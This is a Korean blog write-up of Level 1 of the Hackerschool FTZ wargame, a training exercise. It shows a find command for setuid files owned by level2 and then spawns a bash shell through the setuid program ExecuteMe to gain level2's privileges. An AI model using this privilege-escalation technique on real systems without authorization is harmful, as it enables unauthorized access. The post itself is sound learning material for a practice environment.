Hackerschool/FTZ

[*] Level1

Kostrian 2015. 1. 29. 10:11

로그인을 하고 들어가면 hint파일이 있습니다. hint파일을 읽어보면

 

[level1@BOF level1]$ ls

hint  public_html  tmp

[level1@BOF level1]$ cat hint

 

 

level2 권한에 setuid가 걸린 파일을 찾는다.

 

 

[level1@BOF level1]$

level2 권한에 setuid가 걸린 파일을 찾는다. 라네요.

 

자 그럼 제가 위에 강조해놓은걸 보세요. level2권한, setuid, 찾는다. 먼저 "찾는다"는 명령어가 있습니다.

 

find[1]라는 리눅스 명령어입니다. (다른 카테고리에 올려놓겠습니다.) 그 외, level2권한, setuid는 find라는 명령어의 옵션으로 주면 됩니다.

 

[level1@BOF level1]$ find / -user level2 -perm -4000 2>/dev/null

 

이렇게 명령어를 입력하면 hint에 나온 파일을 찾을수 있을겁니다.

 

[level1@BOF level1]$ find / -user level2 -perm -4000 2>/dev/null

/bin/ExecuteMe

[level1@BOF level1]$ 

ExcuteMe라는 파일을 찾았습니다.

 

[level1@BOF level1]$ ll /bin/ExcuteMe

-rwsr-x---    1 level2   level1      13101 Apr  1  2013 /bin/ExecuteMe

[level1@BOF level1]$ ExcuteMe

setuid가 걸려있는 실행파일입니다. 실행해 보면,

 

                레벨2의 권한으로 당신이 원하는 명령어를

                한가지 실행시켜 드리겠습니다.

              (단, my-pass 와 chmod는 제외)

 

              어떤 명령을 실행시키겠습니까?

 

 

              [level2@ftz level2]$ 

원하는 명령어를 level2의 권한으로 실행시켜준다는 군요. 하지만 필요한 my-pass는 사용할수 없기 때문에 다른 방법을 생각해 봐야 합니다. 리눅스를 좀 다뤄보신분이라면 쉘이라는걸 어느정도 알고 계실겁니다. 그럼 level2의 권한일때, 쉘을 실행시키면 level2권한의 쉘이 실행될겁니다.

 

              [level2@ftz level2]$ bash

 

[level2@ftz level2]$ id

uid=3002(level2) gid=3001(level1) groups=3001(level1)

[level2@ftz level2]$ my-pass

​level2의 패스워드를 알아냈습니다. 

 

'Hackerschool > FTZ' 카테고리의 다른 글

[*] level 3  (0) 2015.01.29
[*] level 2  (0) 2015.01.29